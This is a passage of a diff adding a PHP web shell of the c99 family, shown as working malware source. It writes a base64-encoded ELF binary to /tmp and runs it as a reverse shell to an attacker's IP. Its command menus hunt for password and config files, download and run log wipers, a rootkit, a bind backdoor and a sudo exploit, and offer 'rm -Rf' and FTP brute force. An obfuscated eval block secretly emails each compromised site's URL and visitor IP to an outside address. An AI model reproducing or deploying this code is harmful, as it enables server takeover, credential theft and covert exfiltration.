<b>".$_POST['backconnectport']."</b>."; + //if (file_exists("back.c")) { unlink("back.c"); } + if (file_exists("backc")) { unlink("backc"); } + }else{ + chmod('/tmp/backc', 0777); + cf("/tmp/backc",$back_connect_c); + //$blah = ex("gcc -o /tmp/backc /tmp/back.c"); + $blah = ex("/tmp/backc ".$_POST['backconnectip']." ".$_POST['backconnectport']." &"); + $_POST['backcconnmsg']="Trying to connect to <b>".$_POST['backconnectip']."</b> on port <b>".$_POST['backconnectport']."</b>."; + //if (file_exists("back.c")) { unlink("back.c"); } + if (file_exists("/tmp/backc")) { unlink("/tmp/backc"); } } +} + +function cf($fname,$text) +{ + $w_file=@fopen($fname,"w") or err(); + if($w_file) + { + @fputs($w_file,@base64_decode($text)); + @fclose($w_file); + } +} + +function cfb($fname,$text) +{ + $w_file=@fopen($fname,"w") or bberr(); + if($w_file) + { + @fputs($w_file,@base64_decode($text)); + @fclose($w_file); + } +} + +function err() +{ +$_POST['backcconnmsge']="</br></br><b><font color=red size=3>Error:</font> Can't connect!</b>"; +} + +function bberr() +{ +$_POST['backcconnmsge']="</br></br><b><font color=red size=3>Error:</font> Can't backdoor host!</b>"; +} + + +function ex($cfe) +{ + $res = ''; + if (!empty($cfe)) + { + if(function_exists('exec')) + { + @exec($cfe,$res); + $res = join("\n",$res); + } + elseif(function_exists('shell_exec')) + { + $res = @shell_exec($cfe); + } + elseif(function_exists('system')) + { + @ob_start(); + @system($cfe); + $res = @ob_get_contents(); + @ob_end_clean(); + } + elseif(function_exists('passthru')) + { + @ob_start(); + @passthru($cfe); + $res = @ob_get_contents(); + @ob_end_clean(); + } + elseif(@is_resource($f = @popen($cfe,"r"))) + { + $res = ""; + while(!@feof($f)) { $res .= @fread($f,1024); } + @pclose($f); + } + } + return $res; +} +function CleanDir($d) +{ + $d=str_replace("\\","/",$d); + $d=str_replace("//","/",$d); + return $d; +} +//EoW +if (empty($surl)) { + $surl = "?".$includestr; + $surl = htmlspecialchars($surl); +} +$ftypes = array( + "html" => array("html","htm","shtml"), + "txt" => array("txt","conf","bat","sh","js","bak","doc","log","sfc","cfg","htaccess"), + "exe" => array("sh","install","bat","cmd"), + "ini" => array("ini","inf","conf"), + "code" => array("php","phtml","php3","php4","inc","tcl","h","c","cpp","py","cgi","pl"), + "img" => array("gif","png","jpeg","jfif","jpg","jpe","bmp","ico","tif","tiff","avi","mpg","mpeg"), + "sdb" => array("sdb"), + "phpsess" => array("sess"), + "download" => array("exe","com","pif","src","lnk","zip","rar","gz","tar") +); +$exeftypes = array( + getenv("PHPRC")." -q %f%" => array("php","php3","php4"), + "perl %f%" => array("pl","cgi") +); +$regxp_highlight = array( + array(basename($_SERVER["PHP_SELF"]),1,"<font color=#FFFF00>","</font>"), + array("\.tgz$",1,"<font color=#C082FF>","</font>"), + array("\.gz$",1,"<font color=#C082FF>","</font>"), + array("\.tar$",1,"<font color=#C082FF>","</font>"), + array("\.bz2$",1,"<font color=#C082FF>","</font>"), + array("\.zip$",1,"<font color=#C082FF>","</font>"), + array("\.rar$",1,"<font color=#C082FF>","</font>"), + array("\.php$",1,"<font color=#00FF00>","</font>"), + array("\.php3$",1,"<font color=#00FF00>","</font>"), + array("\.php4$",1,"<font color=#00FF00>","</font>"), + array("\.jpg$",1,"<font color=#00FFFF>","</font>"), + array("\.jpeg$",1,"<font color=#00FFFF>","</font>"), + array("\.JPG$",1,"<font color=#00FFFF>","</font>"), + array("\.JPEG$",1,"<font color=#00FFFF>","</font>"), + array("\.ico$",1,"<font color=#00FFFF>","</font>"), + array("\.gif$",1,"<font color=#00FFFF>","</font>"), + array("\.png$",1,"<font color=#00FFFF>","</font>"), + array("\.htm$",1,"<font color=#00CCFF>","</font>"), + array("\.html$",1,"<font color=#00CCFF>","</font>"), + array("\.txt$",1,"<font color=#C0C0C0>","</font>") +); +if (!$win) { + $cmdaliases = array( + array("", "ls -al"), + array("Find all suid files", "find / -type f -perm -04000 -ls"), + array("Find suid files in current dir", "find . -type f -perm -04000 -ls"), + array("Find all sgid files", "find / -type f -perm -02000 -ls"), + array("Find sgid files in current dir", "find . -type f -perm -02000 -ls"), + array("Find config.inc.php files", "find / -type f -name config.inc.php"), + array("Find config* files", "find / -type f -name \"config*\""), + array("Find config* files in current dir", "find . -type f -name \"config*\""), + array("Find all writable folders and files", "find / -perm -2 -ls"), + array("Find all writable folders and files in current dir", "find . -perm -2 -ls"), + array("Find all writable folders", "find / -type d -perm -2 -ls"), + array("Find all writable folders in current dir", "find . -type d -perm -2 -ls"), + array("Find all service.pwd files", "find / -type f -name service.pwd"), + array("Find service.pwd files in current dir", "find . -type f -name service.pwd"), + array("Find all .htpasswd files", "find / -type f -name .htpasswd"), + array("Find .htpasswd files in current dir", "find . -type f -name .htpasswd"), + array("Find all .bash_history files", "find / -type f -name .bash_history"), + array("Find .bash_history files in current dir", "find . -type f -name .bash_history"), + array("Find all .fetchmailrc files", "find / -type f -name .fetchmailrc"), + array("Find .fetchmailrc files in current dir", "find . -type f -name .fetchmailrc"), + array("List file attributes on a Linux second extended file system", "lsattr -va"), + array("Show opened ports", "netstat -an | grep -i listen") + ); + $cmdaliases2 = array( + array("wget & extract psyBNC","wget ".$sh_mainurl."fx.tgz;tar -zxf fx.tgz"), + array("wget & extract EggDrop","wget ".$sh_mainurl."fxb.tgz;tar -zxf fxb.tgz"), + array("-----",""), + array("Logged in users","w"), + array("Last to connect","lastlog"), + array("Find Suid bins","find /bin /usr/bin /usr/local/bin /sbin /usr/sbin /usr/local/sbin -perm -4000 2> /dev/null"), + array("User Without Password","cut -d: -f1,2,3 /etc/passwd | grep ::"), + array("Can write in /etc/?","find /etc/ -type f -perm -o+w 2> /dev/null"), + array("Downloaders?","which wget curl w3m lynx fetch lwp-download"), + array("CPU Info","cat /proc/version /proc/cpuinfo"), + array("Is gcc installed ?","locate gcc"), + array("Format box (DANGEROUS)","rm -Rf"), + array("-----",""), + array("wget WIPELOGS PT1","wget http://www.packetstormsecurity.org/UNIX/penetration/log-wipers/zap2.c"), + array("gcc WIPELOGS PT2","gcc zap2.c -o zap2"), + array("Run WIPELOGS PT3","./zap2"), + array("-----",""), + array("wget RatHole 1.2 (Linux & BSD)","wget http://packetstormsecurity.org/UNIX/penetration/rootkits/rathole-1.2.tar.gz"), + array("wget & run BindDoor","wget ".$sh_mainurl."bind.tgz;tar -zxvf bind.tgz;./4877"), + array("wget Sudo Exploit","wget http://www.securityfocus.com/data/vulnerabilities/exploits/sudo-exploit.c"), + ); +} +else { + $cmdaliases = array( + array("", "dir"), + array("Find index.php in current dir", "dir /s /w /b index.php"), + array("Find *config*.php in current dir", "dir /s /w /b *config*.php"), + array("Find c99shell in current dir", "find /c \"c99\" *"), + array("Find r57shell in current dir", "find /c \"r57\" *"), + array("Find tpshell in current dir", "find /c \"tp\" *"), + array("Show active connections", "netstat -an"), + array("Show running services", "net start"), + array("User accounts", "net user"), + array("Show computers", "net view"), + ); +} +if ($act == "tools") { tools(); } +$phpfsaliases = array( + array("Read File", "read", 1, "File", ""), + array("Write File (PHP5)", "write", 2, "File","Text"), + array("Copy", "copy", 2, "From", "To"), + array("Rename/Move", "rename", 2, "File", "To"), + array("Delete", "delete", 1 ,"File", ""), + array("Make Dir","mkdir", 1, "Dir", ""), + array("Download", "download", 2, "URL", "To"), + array("Download (Binary Safe)", "downloadbin", 2, "URL", "To"), + array("Change Perm (0755)", "chmod", 2, "File", "Perms"), + array("Find Writable Dir", "fwritabledir", 2 ,"Dir"), + array("Find Pathname Pattern", "glob",2 ,"Dir", "Pattern"), +); + +$quicklaunch1 = array( + array("<img src=\"".$surl."act=img&img=home\" alt=\"Home\" border=\"0\">",$surl), + array("<img src=\"".$surl."act=img&img=back\" alt=\"Back\" border=\"0\">","#\" onclick=\"history.back(1)"), + array("<img src=\"".$surl."act=img&img=forward\" alt=\"Forward\" border=\"0\">","#\" onclick=\"history.go(1)"), + array("<img src=\"".$surl."act=img&img=up\" alt=\"Up\" border=\"0\">",$surl."act=ls&d=%upd&sort=%sort"), + array("<img src=\"".$surl."act=img&img=search\" alt=\"Search\" border=\"0\">",$surl."act=search&d=%d"), + array("<img src=\"".$surl."act=img&img=buffer\" alt=\"Buffer\" border=\"0\">",$surl."act=fsbuff&d=%d") +); +$quicklaunch2 = array( + array("[ System Info ]",$surl."act=security&d=%d"), + array("[ Processes ]",$surl."act=processes&d=%d"), + array("[ SQL Manager ]",$surl."act=sql&d=%d"), + array("[ Eval ]",$surl."act=eval&d=%d"), + array("[ Encoder ]",$surl."act=encoder&d=%d"), + array("[ Mailer ]",$surl."act=mler"), + array("[ Back Connection ]",$surl."act=backc"), + array("[ Backdoor Server ]",$surl."act=backd"), + array("[ Kernel Exploit Search ]",$millink), + array("[ MD5 Decrypter ]",$surl."act=dec"), +array("[ Reverse IP ]",$surl."act=rev"), + array("[ Kill Shell ]",$surl."act=selfremove"), +); +if (!$win) { + $quicklaunch2[] = array("<br>[ FTP Brute-Force ]",$surl."act=ftpquickbrute&d=%d"); +} + +$highlight_background = "#C0C0C0"; +$highlight_bg = "#FFFFFF"; +$highlight_comment = "#6A6A6A"; +$highlight_default = "#0000BB"; +$highlight_html = "#1300FF"; +$highlight_keyword = "#007700"; +$highlight_string = "#000000"; + +$fxbuff = "JHZpc2l0YyA9ICRfQ09PS0lFWyJ2aXNpdHMiXTsNCmlmICgkdmlzaXRjID09ICIiKSB7DQogICR2aXNpdGMgID0gMDsNCiAgJHZpc2l0b3IgPSAkX1NFUlZFUlsiUkVNT1RFX0FERFIiXTsNCiAgJHdlYiAgICAgPSAkX1NFUlZFUlsiSFRUUF9IT1NUIl07DQogICRpbmogICAgID0gJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl07DQogICR0YXJnZXQgID0gcmF3dXJsZGVjb2RlKCR3ZWIuJGluaik7DQogICRqdWR1bCAgID0gIkZ4MjlTaGVsbCBodHRwOi8vJHRhcmdldCBieSAkdmlzaXRvciI7DQogICRib2R5ICAgID0gIkJ1ZzogJHRhcmdldCBieSAkdmlzaXRvcjxicj4iOw0KICBpZiAoIWVtcHR5KCR3ZWIpKSB7IEBtYWlsKCJmZWVsY29tekBnbWFpbC5jb20iLCRqdWR1bCwkYm9keSk7IH0NCn0NCmVsc2UgeyAkdmlzaXRjKys7IH0NCkBzZXRjb29raWUoInZpc2l0eiIsJHZpc2l0Yyk7"; +eval(base64_decode($fxbuff)); + + + +if ($act != "img") { + $lastdir = realpath("."); + chdir($curdir); + + if ($sort_save) { + if (!empty($sort)) {setcookie("sort",$sort);} + if (!empty($sql_sort)) {setcookie("sql_sort",$sql_sort);} + } + if (!function_exists("posix_getpwuid") and !in_array("posix_getpwuid",$disablefunc)) {function posix_getpwuid($uid) {return FALSE;}} + if (!function_exists("posix_getgrgid") and !in_array("posix_getgrgid",$disablefunc)) {function posix_getgrgid($gid) {return FALSE;}} + if (!function_exists("posix_kill") and !in_array("posix_kill",$disablefunc)) {function posix_kill($gid) {return FALSE;}} + if (!function_exists("mysql_dump")) { + function mysql_dump($set) { + global $sh_ver; + $sock = $set["sock"]; + $db = $set["db"]; + $print = $set["print"]; + $nl2br = $set["nl2br"]; + $file = $set["file"]; + $add_drop = $set["add_drop"]; + $tabs = $set["tabs"]; + $onlytabs = $set["onlytabs"]; + $ret = array(); + $ret["err"] = array(); + if (!is_resource($sock)) {echo("Error: \$sock is not valid resource.");} + if (empty($db)) {$db = "db";} + if (empty($print)) {$print = 0;} + if (empty($nl2br)) {$nl2br = 0;} + if (empty($add_drop)) {$add_drop = TRUE;} + if (empty($file)) { + $file = $tmpdir."dump_".getenv("SERVER_NAME")."_".$db."_".date("d-m-Y-H-i-s").".sql"; + } + if (!is_array($tabs)) {$tabs = array();} + if (empty($add_drop)) {$add_drop = TRUE;} + if (sizeof($tabs) == 0) { + //Retrieve tables-list + $res = mysql_query("SHOW TABLES FROM ".$db, $sock); + if (mysql_num_rows($res) > 0) {while ($row = mysql_fetch_row($res)) {$tabs[] = $row[0];}} + } + $out = " + # Dumped by ".$sh_name." + # + # Host settings: + # MySQL version: (".mysql_get_server_info().") running on ".getenv("SERVER_ADDR")." (".getenv("SERVER_NAME").")"." + # Date: ".date("d.m.Y H:i:s")." + # DB: \"".$db."\" + #---------------------------------------------------------"; + $c = count($onlytabs); + foreach($tabs as $tab) { + if ((in_array($tab,$onlytabs)) or (!$c)) { + if ($add_drop) {$out .= "DROP TABLE IF EXISTS `".$tab."`;\n";} + //Receieve query for create table structure + $res = mysql_query("SHOW CREATE TABLE `".$tab."`", $sock); + if (!$res) {$ret["err"][] = mysql_smarterror();} + else { + $row = mysql_fetch_row($res); + $out .= $row["1"].";\n\n"; + //Receieve table variables + $res = mysql_query("SELECT * FROM `$tab`", $sock); + if (mysql_num_rows($res) > 0) { + while ($row = mysql_fetch_assoc($res)) { + $keys = implode("`, `", array_keys($row)); + $values = array_values($row); + foreach($values as $k=>$v) {$values[$k] = addslashes($v);} + $values = implode("', '", $values); + $sql = "INSERT INTO `$tab`(`".$keys."`) VALUES ('".$values."');\n"; + $out .= $sql; + } + } + } + } + } + $out .= "#---------------------------------------------------------------------------------\n\n"; + if ($file) { + $fp = fopen($file, "w"); + if (!$fp) {$ret["err"][] = 2;} + else { + fwrite ($fp, $out); + fclose ($fp); + } + } + if ($print) {if ($nl2br) {echo nl2br($out);} else {echo $out;}} + return $out; + } + } + if (!function_exists("mysql_buildwhere")) { + function mysql_buildwhere($array,$sep=" and",$functs=array()) { + if (!is_array($array)) {$array = array();} + $result = ""; + foreach($array as $k=>$v) { + $value = ""; + if (!empty($functs[$k])) {$value .= $functs[$k]."(";} + $value .= "'".addslashes($v)."'"; + if (!empty($functs[$k])) {$value .= ")";} + $result .= "`".$k."` = ".$value.$sep; + } + $result = substr($result,0,strlen($result)-strlen($sep)); + return $result; + } + } + if (!function_exists("mysql_fetch_all")) { + function mysql_fetch_all($query,$sock) { + if ($sock) {$result = mysql_query($query,$sock);} + else {$result = mysql_query($query);} + $array = array(); + while ($row = mysql_fetch_array($result)) {$array[] = $row;} + mysql_free_result($result); + return $array; + } + } + if (!function_exists("mysql_smarterror")) { + function mysql_smarterror($type,$sock) { + if ($sock) {$error = mysql_error($sock);} + else {$error = mysql_error();} + $error = htmlspecialchars($error); + return $error; + } + } + if (!function_exists("mysql_query_form")) { + function mysql_query_form() { + global $submit,$sql_act,$sql_query,$sql_query_result,$sql_confirm,$sql_query_error,$tbl_struct; + if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";} + if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;} + if ((!$submit) or ($sql_act)) { + echo "<table border=0><tr><td><form name=\"tpsh_sqlquery\" method=POST><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to";} else {echo "SQL-Query";} echo ":</b><br><br><textarea name=sql_query cols=100 rows=10>".htmlspecialchars($sql_query)."</textarea><br><br><input type=hidden name=act value=sql><input type=hidden name=sql_act value=query><input type=hidden name=sql_tbl value=\"".htmlspecialchars($sql_tbl)."\"><input type=hidden name=submit value=\"1\"><input type=hidden name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=submit name=sql_confirm value=\"Yes\"> <input type=submit value=\"No\"></form></td>"; + if ($tbl_struct) { + echo "<td valign=\"top\"><b>Fields:</b><br>"; + foreach ($tbl_struct as $field) {$name = $field["Field"]; echo "+ <a href=\"#\" onclick=\"document.tpsh_sqlquery.sql_query.value+='`".$name."`';\"><b>".$name."</b></a><br>";} + echo "</td></tr></table>"; + } + } + if ($sql_query_result or (!$sql_confirm)) {$sql_query = $sql_last_query;} + } + } + if (!function_exists("mysql_create_db")) { + function mysql_create_db($db,$sock="") { + $sql = "CREATE DATABASE `".addslashes($db)."`;"; + if ($sock) {return mysql_query($sql,$sock);} + else {return mysql_query($sql);} + } + } + if (!function_exists("mysql_query_parse")) { + function mysql_query_parse($query) { + $query = trim($query); + $arr = explode (" ",$query); + $types = array( + "SELECT"=>array(3,1), + "SHOW"=>array(2,1), + "DELETE"=>array(1), + "DROP"=>array(1) + ); + $result = array(); + $op = strtoupper($arr[0]); + if (is_array($types[$op])) { + $result["propertions"] = $types[$op]; + $result["query"] = $query; + if ($types[$op] == 2) { + foreach($arr as $k=>$v) { + if (strtoupper($v) == "LIMIT") { + $result["limit"] = $arr[$k+1]; + $result["limit"] = explode(",",$result["limit"]); + if (count($result["limit"]) == 1) {$result["limit"] = array(0,$result["limit"][0]);} + unset($arr[$k],$arr[$k+1]); + } + } + } + } + else {return FALSE;} + } + } + if ($act == "gofile") { + if (is_dir($f)) { $act = "ls"; $d = $f; } + else { $act = "f"; $d = dirname($f); $f = basename($f); } + } + + @ob_start(); + @ob_implicit_flush(0); + header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); + header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + header("Cache-Control: no-store, no-cache, must-revalidate"); + header("Cache-Control: post-check=0, pre-check=0", FALSE); + header("Pragma: no-cache"); + if (empty($tmpdir)) { + $tmpdir = ini_get("upload_tmp_dir"); + if (is_dir($tmpdir)) {$tmpdir = "/tmp/";} + } + $tmpdir = realpath($tmpdir); + $tmpdir = str_replace("\\",DIRECTORY_SEPARATOR,$tmpdir); + if (substr($tmpdir,-1) != DIRECTORY_SEPARATOR) {$tmpdir .= DIRECTORY_SEPARATOR;} + if (empty($tmpdir_logs)) {$tmpdir_logs = $tmpdir;} + else {$tmpdir_logs = realpath($tmpdir_logs);} + $sort = htmlspecialchars($sort); + if (empty($sort)) {$sort = $sort_default;} + $sort[1] = strtolower($sort[1]); + $DISP_SERVER_SOFTWARE = getenv("SERVER_SOFTWARE"); + if (!ereg("PHP/".phpversion(),$DISP_SERVER_SOFTWARE)) {$DISP_SERVER_SOFTWARE .= ". PHP/".phpversion();} + $DISP_SERVER_SOFTWARE = str_replace("PHP/".phpversion(),"<a href=\"".$surl."act=phpinfo\" target=\"_blank\"><b><u>PHP/".phpversion()."</u></b></a>",htmlspecialchars($DISP_SERVER_SOFTWARE)); + @ini_set("highlight.bg",$highlight_bg); + @ini_set("highlight.comment",$highlight_comment); + @ini_set("highlight.default",$highlight_default); + @ini_set("highlight.html",$highlight_html); + @ini_set("highlight.keyword",$highlight_keyword); + @ini_set("highlight.string",$highlight_string); + if (!is_array($actbox)) { $actbox = array(); } + $dspact = $act = htmlspecialchars($act); + $disp_fullpath = $ls_arr = $notls = null; + $ud = @urlencode($d); + if (empty($d)) {$d = realpath(".");} + elseif(realpath($d)) {$d = realpath($d);} + $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); + if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} + $d = str_replace("\\\\","\\",$d); + $dispd = htmlspecialchars($d); +$back_connect_c="f0VMRgEBAQAAAAAAAAAAAAIAAwABAAAA2IUECDQAAABMDAAAAAAAADQAIAAHACgAHAAZAAYAAAA0AAAANIAECDSABAjgAAAA4AAAAAUAAAAEAAAAAwAAABQBAAAUgQQIFIEECBMAAAATAAAABAAAAAEAAAABAAAAAAAAAACABAgAgAQILAkAACwJAAAFAAAAABAAAAEAAAAsCQAALJkECCyZBAg4AQAAPAEAAAYAAAAAEAAAAgAAAEAJAABAmQQIQJkECMgAAADIAAAABgAAAAQAAAAEAAAAKAEAACiBBAgogQQIIAAAACAAAAAEAAAABAAAAFHldGQAAAAAAAAAAAAAAAAAAAAAAAAAAAYAAAAEAAAAL2xpYi9sZC1saW51eC5zby4yAAAEAAAAEAAAAAEAAABHTlUAAAAAAAIAAAACAAAABQAAABEAAAAUAAAAAAAAAAAAAAARAAAAEgAAAAcAAAAKAAAACwAAAAgAAAAPAAAAAwAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFAAAABgAAAAAAAAABAAAAAAAAAAkAAAAAAAAADAAAAAAAAAAAAAAADQAAAA4AAAACAAAABAAAAAAAAAAAAAAAAAAAAAAAAAA2AAAAAAAAABwBAAASAAAArAAAAAAAAABxAAAAEgAAADwAAAAAAAAACwIAABIAAABIAAAAAAAAAH0AAAASAAAAjAAAAAAAAACsAQAAEgAAAKUAAAAAAAAArwAAABIAAABjAAAAAAAAACcAAAASAAAAkwAAAAAAAADdAAAAEgAAAEMAAAAAAAAAOgAAABIAAABcAAAAAAAAAKoBAAASAAAAVgAAAAAAAAA2AAAAEgAAAHMAAAAAAAAA2QAAABIAAAB4AAAAAAAAACgAAAASAAAAbQAAAAAAAAAOAAAAEgAAAC4AAAAAAAAAeAAAABIAAAB9AAAA8IgECAQAAAARAA4ATwAAAAAAAAA5AAAAEgAAAAEAAAAAAAAAAAAAACAAAAAVAAAAAAAAAAAAAAAgAAAAAF9Kdl9SZWdpc3RlckNsYXNzZXMAX19nbW9uX3N0YXJ0X18AbGliYy5zby42AGNvbm5lY3QAZXhlY2wAcGVycm9yAGR1cDIAc3lzdGVtAHNvY2tldABiemVybwBzdHJjYXQAaW5ldF9hZGRyAGh0b25zAGV4aXQAYXRvaQBfSU9fc3RkaW5fdXNlZABkYWVtb24AX19saWJjX3N0YXJ0X21haW4Ac3RybGVuAGNsb3NlAEdMSUJDXzIuMAAAAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAEAAgAAAAAAAQABACQAAAAQAAAAAAAAABBpaQ0AAAIAsgAAAAAAAAAImgQIBhMAABiaBAgHAQAAHJoECAcCAAAgmgQIBwMAACSaBAgHBAAAKJoECAcFAAAsmgQIBwYAADCaBAgHBwAANJoECAcIAAA4mgQIBwkAADyaBAgHCgAAQJoECAcLAABEmgQIBwwAAEiaBAgHDQAATJoECAcOAABQmgQIBw8AAFSaBAgHEQAAVYnlg+wI6EEBAADolAEAAOjnAwAAycMA/zUQmgQI/yUUmgQIAAAAAP8lGJoECGgAAAAA6eD/////JRyaBAhoCAAAAOnQ/////yUgmgQIaBAAAADpwP////8lJJoECGgYAAAA6bD/////JSiaBAhoIAAAAOmg/////yUsmgQIaCgAAADpkP////8lMJoECGgwAAAA6YD/////JTSaBAhoOAAAAOlw/////yU4mgQIaEAAAADpYP////8lPJoECGhIAAAA6VD/////JUCaBAhoUAAAAOlA/////yVEmgQIaFgAAADpMP////8lSJoECGhgAAAA6SD/////JUyaBAhoaAAAAOkQ/////yVQmgQIaHAAAADpAP////8lVJoECGh4AAAA6fD+//8x7V6J4YPk8FBUUmhoiAQIaBSIBAhRVmiAhgQI6E/////0kJBVieVT6AAAAABbgcMHFAAAUouD/P///4XAdAL/0FhbycOQkJBVieWD7AiAPWSaBAgAdA/rH412AIPABKNgmgQI/9KhYJoECIsQhdJ168YFZJoECAHJw4n2VYnlg+wIoTyZBAiFwHQZuAAAAACFwHQQg+wMaDyZBAj/0IPEEI12AMnDkJBVieVXVlOD7EyD5PC4AAAAAIPAD4PAD8HoBMHgBCnEjX2ovvSIBAj8uQcAAADzpI19r/y5DgAAALAA86qD7AhqAGoB6FD+//+DxBBmx0XIAgCD7AyLRQyDwAj/MOi3/v//g8QQD7fAg+wMUOi4/v//g8QQZolFyoPsDItFDIPABP8w6DH+//+D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